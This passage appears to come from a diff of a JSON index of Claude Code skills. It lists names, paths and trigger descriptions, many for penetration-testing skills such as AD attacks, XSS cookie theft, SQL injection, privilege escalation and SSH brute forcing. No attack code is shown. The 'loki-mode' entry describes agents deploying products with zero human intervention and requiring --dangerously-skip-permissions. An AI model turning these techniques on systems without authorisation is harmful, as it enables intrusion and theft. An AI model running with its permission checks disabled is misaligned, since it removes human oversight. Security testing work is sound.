"description": "This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment."
},
{
"id": "aws-penetration-testing",
"path": "skills/aws-penetration-testing",
"name": "AWS Penetration Testing",
"description": "This skill should be used when the user asks to \"pentest AWS\", \"test AWS security\", \"enumerate IAM\", \"exploit cloud infrastructure\", \"AWS privilege escalation\", \"S3 bucket testing\", \"metadata SSRF\", \"Lambda exploitation\", or needs guidance on Amazon Web Services security assessment."
},
{
"id": "active-directory-attacks",
"path": "skills/active-directory-attacks",
"name": "Active Directory Attacks",
"description": "This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", \"Silver Ticket\", \"AS-REP roasting\", \"NTLM relay\", or needs guidance on Windows domain penetration testing."
},
{
"id": "broken-authentication",
"path": "skills/broken-authentication",
"name": "Broken Authentication Testing",
"description": "This skill should be used when the user asks to \"test for broken authentication vulnerabilities\", \"assess session management security\", \"perform credential stuffing tests\", \"evaluate password policies\", \"test for session fixation\", or \"identify authentication bypass flaws\". It provides comprehensive techniques for identifying authentication and session management weaknesses in web applications."
},
{
"id": "burp-suite-testing",
"path": "skills/burp-suite-testing",
"name": "Burp Suite Web Application Testing",
"description": "This skill should be used when the user asks to \"intercept HTTP traffic\", \"modify web requests\", \"use Burp Suite for testing\", \"perform web vulnerability scanning\", \"test with Burp Repeater\", \"analyze HTTP history\", or \"configure proxy for web testing\". It provides comprehensive guidance for using Burp Suite's core features for web application security testing."
},
{
"id": "claude-code-guide",
"path": "skills/claude-code-guide",
"name": "Claude Code Guide",
"description": "Master guide for using Claude Code effectively. Includes configuration templates, prompting strategies \"Thinking\" keywords, debugging techniques, and best practices for interacting with the agent."
},
{
"id": "cloud-penetration-testing",
"path": "skills/cloud-penetration-testing",
"name": "Cloud Penetration Testing",
"description": "This skill should be used when the user asks to \"perform cloud penetration testing\", \"assess Azure or AWS or GCP security\", \"enumerate cloud resources\", \"exploit cloud misconfigurations\", \"test O365 security\", \"extract secrets from cloud environments\", or \"audit cloud infrastructure\". It provides comprehensive techniques for security assessment across major cloud platforms."
},
{
"id": "xss-html-injection",
"path": "skills/xss-html-injection",
"name": "Cross-Site Scripting and HTML Injection Testing",
"description": "This skill should be used when the user asks to \"test for XSS vulnerabilities\", \"perform cross-site scripting attacks\", \"identify HTML injection flaws\", \"exploit client-side injection vulnerabilities\", \"steal cookies via XSS\", or \"bypass content security policies\". It provides comprehensive techniques for detecting, exploiting, and understanding XSS and HTML injection attack vectors in web applications."
},
{
"id": "ethical-hacking-methodology",
"path": "skills/.disabled/ethical-hacking-methodology",
"name": "Ethical Hacking Methodology",
"description": "This skill should be used when the user asks to \"learn ethical hacking\", \"understand penetration testing lifecycle\", \"perform reconnaissance\", \"conduct security scanning\", \"exploit vulnerabilities\", or \"write penetration test reports\". It provides comprehensive ethical hacking methodology and techniques."
},
{
"id": "ethical-hacking-methodology",
"path": "skills/ethical-hacking-methodology",
"name": "Ethical Hacking Methodology",
"description": "This skill should be used when the user asks to \"learn ethical hacking\", \"understand penetration testing lifecycle\", \"perform reconnaissance\", \"conduct security scanning\", \"exploit vulnerabilities\", or \"write penetration test reports\". It provides comprehensive ethical hacking methodology and techniques."
},
{
"id": "file-path-traversal",
"path": "skills/file-path-traversal",
"name": "File Path Traversal Testing",
"description": "This skill should be used when the user asks to \"test for directory traversal\", \"exploit path traversal vulnerabilities\", \"read arbitrary files through web applications\", \"find LFI vulnerabilities\", or \"access files outside web root\". It provides comprehensive file path traversal attack and testing methodologies."
},
{
"id": "html-injection-testing",
"path": "skills/html-injection-testing",
"name": "HTML Injection Testing",
"description": "This skill should be used when the user asks to \"test for HTML injection\", \"inject HTML into web pages\", \"perform HTML injection attacks\", \"deface web applications\", or \"test content injection vulnerabilities\". It provides comprehensive HTML injection attack techniques and testing methodologies."
},
{
"id": "idor-testing",
"path": "skills/idor-testing",
"name": "IDOR Vulnerability Testing",
"description": "This skill should be used when the user asks to \"test for insecure direct object references,\" \"find IDOR vulnerabilities,\" \"exploit broken access control,\" \"enumerate user IDs or object references,\" or \"bypass authorization to access other users' data.\" It provides comprehensive guidance for detecting, exploiting, and remediating IDOR vulnerabilities in web applications."
},
{
"id": "linux-privilege-escalation",
"path": "skills/linux-privilege-escalation",
"name": "Linux Privilege Escalation",
"description": "This skill should be used when the user asks to \"escalate privileges on Linux\", \"find privesc vectors on Linux systems\", \"exploit sudo misconfigurations\", \"abuse SUID binaries\", \"exploit cron jobs for root access\", \"enumerate Linux systems for privilege escalation\", or \"gain root access from low-privilege shell\". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems."
},
{
"id": "linux-shell-scripting",
"path": "skills/.disabled/linux-shell-scripting",
"name": "Linux Production Shell Scripts",
"description": "This skill should be used when the user asks to \"create bash scripts\", \"automate Linux tasks\", \"monitor system resources\", \"backup files\", \"manage users\", or \"write production shell scripts\". It provides ready-to-use shell script templates for system administration."
},
{
"id": "linux-shell-scripting",
"path": "skills/linux-shell-scripting",
"name": "Linux Production Shell Scripts",
"description": "This skill should be used when the user asks to \"create bash scripts\", \"automate Linux tasks\", \"monitor system resources\", \"backup files\", \"manage users\", or \"write production shell scripts\". It provides ready-to-use shell script templates for system administration."
},
{
"id": "metasploit-framework",
"path": "skills/metasploit-framework",
"name": "Metasploit Framework",
"description": "This skill should be used when the user asks to \"use Metasploit for penetration testing\", \"exploit vulnerabilities with msfconsole\", \"create payloads with msfvenom\", \"perform post-exploitation\", \"use auxiliary modules for scanning\", or \"develop custom exploits\". It provides comprehensive guidance for leveraging the Metasploit Framework in security assessments."
},
{
"id": "network-101",
"path": "skills/network-101",
"name": "Network 101",
"description": "This skill should be used when the user asks to \"set up a web server\", \"configure HTTP or HTTPS\", \"perform SNMP enumeration\", \"configure SMB shares\", \"test network services\", or needs guidance on configuring and testing network services for penetration testing labs."
},
{
"id": "pentest-checklist",
"path": "skills/.disabled/pentest-checklist",
"name": "Pentest Checklist",
"description": "This skill should be used when the user asks to \"plan a penetration test\", \"create a security assessment checklist\", \"prepare for penetration testing\", \"define pentest scope\", \"follow security testing best practices\", or needs a structured methodology for penetration testing engagements."
},
{
"id": "pentest-checklist",
"path": "skills/pentest-checklist",
"name": "Pentest Checklist",
"description": "This skill should be used when the user asks to \"plan a penetration test\", \"create a security assessment checklist\", \"prepare for penetration testing\", \"define pentest scope\", \"follow security testing best practices\", or needs a structured methodology for penetration testing engagements."
},
{
"id": "pentest-commands",
"path": "skills/pentest-commands",
"name": "Pentest Commands",
"description": "This skill should be used when the user asks to \"run pentest commands\", \"scan with nmap\", \"use metasploit exploits\", \"crack passwords with hydra or john\", \"scan web vulnerabilities with nikto\", \"enumerate networks\", or needs essential penetration testing command references."
},
{
"id": "privilege-escalation-methods",
"path": "skills/privilege-escalation-methods",
"name": "Privilege Escalation Methods",
"description": "This skill should be used when the user asks to \"escalate privileges\", \"get root access\", \"become administrator\", \"privesc techniques\", \"abuse sudo\", \"exploit SUID binaries\", \"Kerberoasting\", \"pass-the-ticket\", \"token impersonation\", or needs guidance on post-exploitation privilege escalation for Linux or Windows systems."
},
{
"id": "red-team-tools",
"path": "skills/red-team-tools",
"name": "Red Team Tools and Methodology",
"description": "This skill should be used when the user asks to \"follow red team methodology\", \"perform bug bounty hunting\", \"automate reconnaissance\", \"hunt for XSS vulnerabilities\", \"enumerate subdomains\", or needs security researcher techniques and tool configurations from top bug bounty hunters."
},
{
"id": "smtp-penetration-testing",
"path": "skills/smtp-penetration-testing",
"name": "SMTP Penetration Testing",
"description": "This skill should be used when the user asks to \"perform SMTP penetration testing\", \"enumerate email users\", \"test for open mail relays\", \"grab SMTP banners\", \"brute force email credentials\", or \"assess mail server security\". It provides comprehensive techniques for testing SMTP server security."
},
{
"id": "sql-injection-testing",
"path": "skills/sql-injection-testing",
"name": "SQL Injection Testing",
"description": "This skill should be used when the user asks to \"test for SQL injection vulnerabilities\", \"perform SQLi attacks\", \"bypass authentication using SQL injection\", \"extract database information through injection\", \"detect SQL injection flaws\", or \"exploit database query vulnerabilities\". It provides comprehensive techniques for identifying, exploiting, and understanding SQL injection attack vectors across different database systems."
},
{
"id": "sqlmap-database-pentesting",
"path": "skills/sqlmap-database-pentesting",
"name": "SQLMap Database Penetration Testing",
"description": "This skill should be used when the user asks to \"automate SQL injection testing,\" \"enumerate database structure,\" \"extract database credentials using sqlmap,\" \"dump tables and columns from a vulnerable database,\" or \"perform automated database penetration testing.\" It provides comprehensive guidance for using SQLMap to detect and exploit SQL injection vulnerabilities."
},
{
"id": "ssh-penetration-testing",
"path": "skills/ssh-penetration-testing",
"name": "SSH Penetration Testing",
"description": "This skill should be used when the user asks to \"pentest SSH services\", \"enumerate SSH configurations\", \"brute force SSH credentials\", \"exploit SSH vulnerabilities\", \"perform SSH tunneling\", or \"audit SSH security\". It provides comprehensive SSH penetration testing methodologies and techniques."
},
{
"id": "scanning-tools",
"path": "skills/scanning-tools",
"name": "Security Scanning Tools",
"description": "This skill should be used when the user asks to \"perform vulnerability scanning\", \"scan networks for open ports\", \"assess web application security\", \"scan wireless networks\", \"detect malware\", \"check cloud security\", or \"evaluate system compliance\". It provides comprehensive guidance on security scanning tools and methodologies."
},
{
"id": "shodan-reconnaissance",
"path": "skills/shodan-reconnaissance",
"name": "Shodan Reconnaissance and Pentesting",
"description": "This skill should be used when the user asks to \"search for exposed devices on the internet,\" \"perform Shodan reconnaissance,\" \"find vulnerable services using Shodan,\" \"scan IP ranges with Shodan,\" or \"discover IoT devices and open ports.\" It provides comprehensive guidance for using Shodan's search engine, CLI, and API for penetration testing reconnaissance."
},
{
"id": "top-web-vulnerabilities",
"path": "skills/.disabled/top-web-vulnerabilities",
"name": "Top 100 Web Vulnerabilities Reference",
"description": "This skill should be used when the user asks to \"identify web application vulnerabilities\", \"explain common security flaws\", \"understand vulnerability categories\", \"learn about injection attacks\", \"review access control weaknesses\", \"analyze API security issues\", \"assess security misconfigurations\", \"understand client-side vulnerabilities\", \"examine mobile and IoT security flaws\", or \"reference the OWASP-aligned vulnerability taxonomy\". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories."
},
{
"id": "top-web-vulnerabilities",
"path": "skills/top-web-vulnerabilities",
"name": "Top 100 Web Vulnerabilities Reference",
"description": "This skill should be used when the user asks to \"identify web application vulnerabilities\", \"explain common security flaws\", \"understand vulnerability categories\", \"learn about injection attacks\", \"review access control weaknesses\", \"analyze API security issues\", \"assess security misconfigurations\", \"understand client-side vulnerabilities\", \"examine mobile and IoT security flaws\", or \"reference the OWASP-aligned vulnerability taxonomy\". Use this skill to provide comprehensive vulnerability definitions, root causes, impacts, and mitigation strategies across all major web security categories."
},
{
"id": "windows-privilege-escalation",
"path": "skills/windows-privilege-escalation",
"name": "Windows Privilege Escalation",
"description": "This skill should be used when the user asks to \"escalate privileges on Windows,\" \"find Windows privesc vectors,\" \"enumerate Windows for privilege escalation,\" \"exploit Windows misconfigurations,\" or \"perform post-exploitation privilege escalation.\" It provides comprehensive guidance for discovering and exploiting privilege escalation vulnerabilities in Windows environments."
},
{
"id": "wireshark-analysis",
"path": "skills/wireshark-analysis",
"name": "Wireshark Network Traffic Analysis",
"description": "This skill should be used when the user asks to \"analyze network traffic with Wireshark\", \"capture packets for troubleshooting\", \"filter PCAP files\", \"follow TCP/UDP streams\", \"detect network anomalies\", \"investigate suspicious traffic\", or \"perform protocol analysis\". It provides comprehensive techniques for network packet capture, filtering, and analysis using Wireshark."
},
{
"id": "wordpress-penetration-testing",
"path": "skills/wordpress-penetration-testing",
"name": "WordPress Penetration Testing",
"description": "This skill should be used when the user asks to \"pentest WordPress sites\", \"scan WordPress for vulnerabilities\", \"enumerate WordPress users, themes, or plugins\", \"exploit WordPress vulnerabilities\", or \"use WPScan\". It provides comprehensive WordPress security assessment methodologies."
},
{
"id": "address-github-comments",
"path": "skills/address-github-comments",
"name": "address-github-comments",
"description": "Use when you need to address review or issue comments on an open GitHub Pull Request using the gh CLI."
},
{
"id": "algorithmic-art",
"path": "skills/.disabled/algorithmic-art",
"name": "algorithmic-art",
"description": "Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems. Create original algorithmic art rather than copying existing artists' work to avoid copyright violations."
},
{
"id": "algorithmic-art",
"path": "skills/algorithmic-art",
"name": "algorithmic-art",
"description": "Creating algorithmic art using p5.js with seeded randomness and interactive parameter exploration. Use this when users request creating art using code, generative art, algorithmic art, flow fields, or particle systems. Create original algorithmic art rather than copying existing artists' work to avoid copyright violations."
},
{
"id": "app-store-optimization",
"path": "skills/.disabled/app-store-optimization",
"name": "app-store-optimization",
"description": "Complete App Store Optimization (ASO) toolkit for researching, optimizing, and tracking mobile app performance on Apple App Store and Google Play Store"
},
{
"id": "app-store-optimization",
"path": "skills/app-store-optimization",
"name": "app-store-optimization",
"description": "Complete App Store Optimization (ASO) toolkit for researching, optimizing, and tracking mobile app performance on Apple App Store and Google Play Store"
},
{
"id": "autonomous-agent-patterns",
"path": "skills/autonomous-agent-patterns",
"name": "autonomous-agent-patterns",
"description": "\"Design patterns for building autonomous coding agents. Covers tool integration, permission systems, browser automation, and human-in-the-loop workflows. Use when building AI agents, designing tool APIs, implementing permission systems, or creating autonomous coding assistants.\""
},
{
"id": "backend-dev-guidelines",
"path": "skills/.disabled/backend-dev-guidelines",
"name": "backend-dev-guidelines",
"description": "Comprehensive backend development guide for Node.js/Express/TypeScript microservices. Use when creating routes, controllers, services, repositories, middleware, or working with Express APIs, Prisma database access, Sentry error tracking, Zod validation, unifiedConfig, dependency injection, or async patterns. Covers layered architecture (routes \u2192 controllers \u2192 services \u2192 repositories), BaseController pattern, error handling, performance monitoring, testing strategies, and migration from legacy patterns."
},
{
"id": "backend-dev-guidelines",
"path": "skills/backend-dev-guidelines",
"name": "backend-dev-guidelines",
"description": "Comprehensive backend development guide for Node.js/Express/TypeScript microservices. Use when creating routes, controllers, services, repositories, middleware, or working with Express APIs, Prisma database access, Sentry error tracking, Zod validation, unifiedConfig, dependency injection, or async patterns. Covers layered architecture (routes \u2192 controllers \u2192 services \u2192 repositories), BaseController pattern, error handling, performance monitoring, testing strategies, and migration from legacy patterns."
},
{
"id": "brainstorming",
"path": "skills/.disabled/brainstorming",
"name": "brainstorming",
"description": "\"You MUST use this before any creative work - creating features, building components, adding functionality, or modifying behavior. Explores user intent, requirements and design before implementation.\""
},
{
"id": "brainstorming",
"path": "skills/brainstorming",
@@ -65,30 +281,66 @@
"name": "brand-guidelines",
"description": "Applies Anthropic's official brand colors and typography to any sort of artifact that may benefit from having Anthropic's look-and-feel. Use it when brand colors or style guidelines, visual formatting, or company design standards apply."
},
{
"id": "bun-development",
"path": "skills/bun-development",
"name": "bun-development",
"description": "\"Modern JavaScript/TypeScript development with Bun runtime. Covers package management, bundling, testing, and migration from Node.js. Use when working with Bun, optimizing JS/TS development speed, or migrating from Node.js to Bun.\""
},
{
"id": "canvas-design",
"path": "skills/.disabled/canvas-design",
"name": "canvas-design",
"description": "Create beautiful visual art in .png and .pdf documents using design philosophy. You should use this skill when the user asks to create a poster, piece of art, design, or other static piece. Create original visual designs, never copying existing artists' work to avoid copyright violations."
},
{
"id": "canvas-design",
"path": "skills/canvas-design",
"name": "canvas-design",
"description": "Create beautiful visual art in .png and .pdf documents using design philosophy. You should use this skill when the user asks to create a poster, piece of art, design, or other static piece. Create original visual designs, never copying existing artists' work to avoid copyright violations."
},
{
"id": "concise-planning",
"path": "skills/concise-planning",
"name": "concise-planning",
"description": "Use when a user asks for a plan for a coding task, to generate a clear, actionable, and atomic checklist."
},
{
"id": "content-creator",
"path": "skills/content-creator",
"name": "content-creator",
"description": "Create SEO-optimized marketing content with consistent brand voice. Includes brand voice analyzer, SEO optimizer, content frameworks, and social media templates. Use when writing blog posts, creating social media content, analyzing brand voice, optimizing SEO, planning content calendars, or when user mentions content creation, brand voice, SEO optimization, social media marketing, or content strategy."
},
{
"id": "core-components",
"path": "skills/.disabled/core-components",
"name": "core-components",
"description": "Core component library and design system patterns. Use when building UI, using design tokens, or working with the component library."
},
{
"id": "core-components",
"path": "skills/core-components",
"name": "core-components",
"description": "Core component library and design system patterns. Use when building UI, using design tokens, or working with the component library."
},
{
"id": "claude-d3js-skill",
"path": "skills/.disabled/claude-d3js-skill",
"name": "d3-viz",
"description": "Creating interactive data visualisations using d3.js. This skill should be used when creating custom charts, graphs, network diagrams, geographic visualisations, or any complex SVG-based data visualisation that requires fine-grained control over visual elements, transitions, or interactions. Use this for bespoke visualisations beyond standard charting libraries, whether in React, Vue, Svelte, vanilla JavaScript, or any other environment."
},
{
"id": "claude-d3js-skill",
"path": "skills/claude-d3js-skill",
"name": "d3-viz",
"description": "Creating interactive data visualisations using d3.js. This skill should be used when creating custom charts, graphs, network diagrams, geographic visualisations, or any complex SVG-based data visualisation that requires fine-grained control over visual elements, transitions, or interactions. Use this for bespoke visualisations beyond standard charting libraries, whether in React, Vue, Svelte, vanilla JavaScript, or any other environment."
},
{
"id": "dispatching-parallel-agents",
"path": "skills/.disabled/dispatching-parallel-agents",
"name": "dispatching-parallel-agents",
"description": "Use when facing 2+ independent tasks that can be worked on without shared state or sequential dependencies"
},
{
"id": "dispatching-parallel-agents",
"path": "skills/dispatching-parallel-agents",
@@ -107,24 +359,48 @@
"name": "docx",
"description": "\"Comprehensive document creation, editing, and analysis with support for tracked changes, comments, formatting preservation, and text extraction. When Claude needs to work with professional documents (.docx files) for: (1) Creating new documents, (2) Modifying or editing content, (3) Working with tracked changes, (4) Adding comments, or any other document tasks\""
},
{
"id": "executing-plans",
"path": "skills/.disabled/executing-plans",
"name": "executing-plans",
"description": "Use when you have a written implementation plan to execute in a separate session with review checkpoints"
},
{
"id": "executing-plans",
"path": "skills/executing-plans",
"name": "executing-plans",
"description": "Use when you have a written implementation plan to execute in a separate session with review checkpoints"
},
{
"id": "file-organizer",
"path": "skills/.disabled/file-organizer",
"name": "file-organizer",
"description": "Intelligently organizes files and folders by understanding context, finding duplicates, and suggesting better organizational structures. Use when user wants to clean up directories, organize downloads, remove duplicates, or restructure projects."
},
{
"id": "file-organizer",
"path": "skills/file-organizer",
"name": "file-organizer",
"description": "Intelligently organizes files and folders by understanding context, finding duplicates, and suggesting better organizational structures. Use when user wants to clean up directories, organize downloads, remove duplicates, or restructure projects."
},
{
"id": "finishing-a-development-branch",
"path": "skills/.disabled/finishing-a-development-branch",
"name": "finishing-a-development-branch",
"description": "Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup"
},
{
"id": "finishing-a-development-branch",
"path": "skills/finishing-a-development-branch",
"name": "finishing-a-development-branch",
"description": "Use when implementation is complete, all tests pass, and you need to decide how to integrate the work - guides completion of development work by presenting structured options for merge, PR, or cleanup"
},
{
"id": "frontend-design",
"path": "skills/.disabled/frontend-design",
"name": "frontend-design",
"description": "Create distinctive, production-grade frontend interfaces with high design quality. Use this skill when the user asks to build web components, pages, artifacts, posters, or applications (examples include websites, landing pages, dashboards, React components, HTML/CSS layouts, or when styling/beautifying any web UI). Generates creative, polished code and UI design that avoids generic AI aesthetics."
},
{
"id": "frontend-design",
"path": "skills/frontend-design",
@@ -143,6 +419,12 @@
"name": "git-pushing",
"description": "Stage, commit, and push git changes with conventional commit messages. Use when user wants to commit and push changes, mentions pushing to remote, or asks to save and push their work. Also activates when user says \"push changes\", \"commit and push\", \"push this\", \"push to github\", or similar git workflow requests."
},
{
"id": "github-workflow-automation",
"path": "skills/github-workflow-automation",
"name": "github-workflow-automation",
"description": "\"Automate GitHub workflows with AI assistance. Includes PR reviews, issue triage, CI/CD integration, and Git operations. Use when automating GitHub workflows, setting up PR review automation, creating GitHub Actions, or triaging issues.\""
},
{
"id": "internal-comms-anthropic",
"path": "skills/internal-comms-anthropic",
@@ -155,12 +437,36 @@
"name": "internal-comms",
"description": "A set of resources to help me write all kinds of internal communications, using the formats that my company likes to use. Claude should use this skill whenever asked to write some sort of internal communications (status reports, leadership updates, 3P updates, company newsletters, FAQs, incident reports, project updates, etc.)."
},
{
"id": "javascript-mastery",
"path": "skills/javascript-mastery",
"name": "javascript-mastery",
"description": "\"Comprehensive JavaScript reference covering 33+ essential concepts every developer should know. From fundamentals like primitives and closures to advanced patterns like async/await and functional programming. Use when explaining JS concepts, debugging JavaScript issues, or teaching JavaScript fundamentals.\""
},
{
"id": "kaizen",
"path": "skills/kaizen",
"name": "kaizen",
"description": "Guide for continuous improvement, error proofing, and standardization. Use this skill when the user wants to improve code quality, refactor, or discuss process improvements."
},
{
"id": "kaizen",
"path": "skills/.disabled/kaizen",
"name": "kaizen",
"description": "Guide for continuous improvement, error proofing, and standardization. Use this skill when the user wants to improve code quality, refactor, or discuss process improvements."
},
{
"id": "llm-app-patterns",
"path": "skills/llm-app-patterns",
"name": "llm-app-patterns",
"description": "\"Production-ready patterns for building LLM applications. Covers RAG pipelines, agent architectures, prompt IDEs, and LLMOps monitoring. Use when designing AI applications, implementing RAG, building agents, or setting up LLM observability.\""
},
{
"id": "loki-mode",
"path": "skills/.disabled/loki-mode",
"name": "loki-mode",
"description": "Multi-agent autonomous startup system for Claude Code. Triggers on \"Loki Mode\". Orchestrates 100+ specialized agents across engineering, QA, DevOps, security, data/ML, business operations, marketing, HR, and customer success. Takes PRD to fully deployed, revenue-generating product with zero human intervention. Features Task tool for subagent dispatch, parallel code review with 3 specialized reviewers, severity-based issue triage, distributed task queue with dead letter handling, automatic deployment to cloud providers, A/B testing, customer feedback loops, incident response, circuit breakers, and self-healing. Handles rate limits via distributed state checkpoints and auto-resume with exponential backoff. Requires --dangerously-skip-permissions flag."
},
{
"id": "loki-mode",
"path": "skills/loki-mode",
@@ -203,30 +509,66 @@
"name": "pptx",
"description": "\"Presentation creation, editing, and analysis. When Claude needs to work with presentations (.pptx files) for: (1) Creating new presentations, (2) Modifying or editing content, (3) Working with layouts, (4) Adding comments or speaker notes, or any other presentation tasks\""
},
{
"id": "product-manager-toolkit",
"path": "skills/.disabled/product-manager-toolkit",
"name": "product-manager-toolkit",
"description": "Comprehensive toolkit for product managers including RICE prioritization, customer interview analysis, PRD templates, discovery frameworks, and go-to-market strategies. Use for feature prioritization, user research synthesis, requirement documentation, and product strategy development."
},
{
"id": "product-manager-toolkit",
"path": "skills/product-manager-toolkit",
"name": "product-manager-toolkit",
"description": "Comprehensive toolkit for product managers including RICE prioritization, customer interview analysis, PRD templates, discovery frameworks, and go-to-market strategies. Use for feature prioritization, user research synthesis, requirement documentation, and product strategy development."
},
{
"id": "prompt-engineering",
"path": "skills/.disabled/prompt-engineering",
"name": "prompt-engineering",
"description": "Expert guide on prompt engineering patterns, best practices, and optimization techniques. Use when user wants to improve prompts, learn prompting strategies, or debug agent behavior."
},
{
"id": "prompt-engineering",
"path": "skills/prompt-engineering",
"name": "prompt-engineering",
"description": "Expert guide on prompt engineering patterns, best practices, and optimization techniques. Use when user wants to improve prompts, learn prompting strategies, or debug agent behavior."
},
{
"id": "prompt-library",
"path": "skills/prompt-library",
"name": "prompt-library",
"description": "\"Curated collection of high-quality prompts for various use cases. Includes role-based prompts, task-specific templates, and prompt refinement techniques. Use when user needs prompt templates, role-play prompts, or ready-to-use prompt examples for coding, writing, analysis, or creative tasks.\""
},
{
"id": "react-ui-patterns",
"path": "skills/.disabled/react-ui-patterns",
"name": "react-ui-patterns",
"description": "Modern React UI patterns for loading states, error handling, and data fetching. Use when building UI components, handling async data, or managing UI states."
},
{
"id": "react-ui-patterns",
"path": "skills/react-ui-patterns",
"name": "react-ui-patterns",
"description": "Modern React UI patterns for loading states, error handling, and data fetching. Use when building UI components, handling async data, or managing UI states."
},
{
"id": "receiving-code-review",
"path": "skills/.disabled/receiving-code-review",
"name": "receiving-code-review",
"description": "Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation"
},
{
"id": "receiving-code-review",
"path": "skills/receiving-code-review",
"name": "receiving-code-review",
"description": "Use when receiving code review feedback, before implementing suggestions, especially if feedback seems unclear or technically questionable - requires technical rigor and verification, not performative agreement or blind implementation"
},
{
"id": "requesting-code-review",
"path": "skills/.disabled/requesting-code-review",
"name": "requesting-code-review",
"description": "Use when completing tasks, implementing major features, or before merging to verify work meets requirements"
},
{
"id": "requesting-code-review",
"path": "skills/requesting-code-review",
@@ -239,24 +581,48 @@
"name": "senior-architect",
"description": "Comprehensive software architecture skill for designing scalable, maintainable systems using ReactJS, NextJS, NodeJS, Express, React Native, Swift, Kotlin, Flutter, Postgres, GraphQL, Go, Python. Includes architecture diagram generation, system design patterns, tech stack decision frameworks, and dependency analysis. Use when designing system architecture, making technical decisions, creating architecture diagrams, evaluating trade-offs, or defining integration patterns."
},
{
"id": "senior-fullstack",
"path": "skills/.disabled/senior-fullstack",
"name": "senior-fullstack",
"description": "Comprehensive fullstack development skill for building complete web applications with React, Next.js, Node.js, GraphQL, and PostgreSQL. Includes project scaffolding, code quality analysis, architecture patterns, and complete tech stack guidance. Use when building new projects, analyzing code quality, implementing design patterns, or setting up development workflows."
},
{
"id": "senior-fullstack",
"path": "skills/senior-fullstack",
"name": "senior-fullstack",
"description": "Comprehensive fullstack development skill for building complete web applications with React, Next.js, Node.js, GraphQL, and PostgreSQL. Includes project scaffolding, code quality analysis, architecture patterns, and complete tech stack guidance. Use when building new projects, analyzing code quality, implementing design patterns, or setting up development workflows."
},
{
"id": "skill-creator",
"path": "skills/.disabled/skill-creator",
"name": "skill-creator",
"description": "Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations."
},
{
"id": "skill-creator",
"path": "skills/skill-creator",
"name": "skill-creator",
"description": "Guide for creating effective skills. This skill should be used when users want to create a new skill (or update an existing skill) that extends Claude's capabilities with specialized knowledge, workflows, or tool integrations."
},
{
"id": "skill-developer",
"path": "skills/.disabled/skill-developer",
"name": "skill-developer",
"description": "Create and manage Claude Code skills following Anthropic best practices. Use when creating new skills, modifying skill-rules.json, understanding trigger patterns, working with hooks, debugging skill activation, or implementing progressive disclosure. Covers skill structure, YAML frontmatter, trigger types (keywords, intent patterns, file paths, content patterns), enforcement levels (block, suggest, warn), hook mechanisms (UserPromptSubmit, PreToolUse), session tracking, and the 500-line rule."
},
{
"id": "skill-developer",
"path": "skills/skill-developer",
"name": "skill-developer",
"description": "Create and manage Claude Code skills following Anthropic best practices. Use when creating new skills, modifying skill-rules.json, understanding trigger patterns, working with hooks, debugging skill activation, or implementing progressive disclosure. Covers skill structure, YAML frontmatter, trigger types (keywords, intent patterns, file paths, content patterns), enforcement levels (block, suggest, warn), hook mechanisms (UserPromptSubmit, PreToolUse), session tracking, and the 500-line rule."
},
{
"id": "slack-gif-creator",
"path": "skills/.disabled/slack-gif-creator",
"name": "slack-gif-creator",
"description": "Knowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like \"make me a GIF of X doing Y for Slack.\""
},
{
"id": "slack-gif-creator",
"path": "skills/slack-gif-creator",
@@ -269,6 +635,12 @@
"name": "software-architecture",
"description": "Guide for quality focused software architecture. This skill should be used when users want to write code, design architecture, analyze code, in any case that relates to software development."
},
{
"id": "subagent-driven-development",
"path": "skills/.disabled/subagent-driven-development",
"name": "subagent-driven-development",
"description": "Use when executing implementation plans with independent tasks in the current session"
},
{
"id": "subagent-driven-development",
"path": "skills/subagent-driven-development",
@@ -287,18 +659,36 @@
"name": "test-driven-development",
"description": "Use when implementing any feature or bugfix, before writing implementation code"
},
{
"id": "test-fixing",
"path": "skills/.disabled/test-fixing",
"name": "test-fixing",
"description": "Run tests and systematically fix all failing tests using smart error grouping. Use when user asks to fix failing tests, mentions test failures, runs test suite and failures occur, or requests to make tests pass."
},
{
"id": "test-fixing",
"path": "skills/test-fixing",
"name": "test-fixing",
"description": "Run tests and systematically fix all failing tests using smart error grouping. Use when user asks to fix failing tests, mentions test failures, runs test suite and failures occur, or requests to make tests pass."
},
{
"id": "testing-patterns",
"path": "skills/.disabled/testing-patterns",
"name": "testing-patterns",
"description": "Jest testing patterns, factory functions, mocking strategies, and TDD workflow. Use when writing unit tests, creating test factories, or following TDD red-green-refactor cycle."
},
{
"id": "testing-patterns",
"path": "skills/testing-patterns",
"name": "testing-patterns",
"description": "Jest testing patterns, factory functions, mocking strategies, and TDD workflow. Use when writing unit tests, creating test factories, or following TDD red-green-refactor cycle."
},
{
"id": "theme-factory",
"path": "skills/.disabled/theme-factory",
"name": "theme-factory",
"description": "Toolkit for styling artifacts with a theme. These artifacts can be slides, docs, reportings, HTML landing pages, etc. There are 10 pre-set themes with colors/fonts that you can apply to any artifact that has been creating, or can generate a new theme on-the-fly."
},
{
"id": "theme-factory",
"path": "skills/theme-factory",
@@ -309,7 +699,13 @@
"id": "ui-ux-pro-max",
"path": "skills/ui-ux-pro-max",
"name": "ui-ux-pro-max",
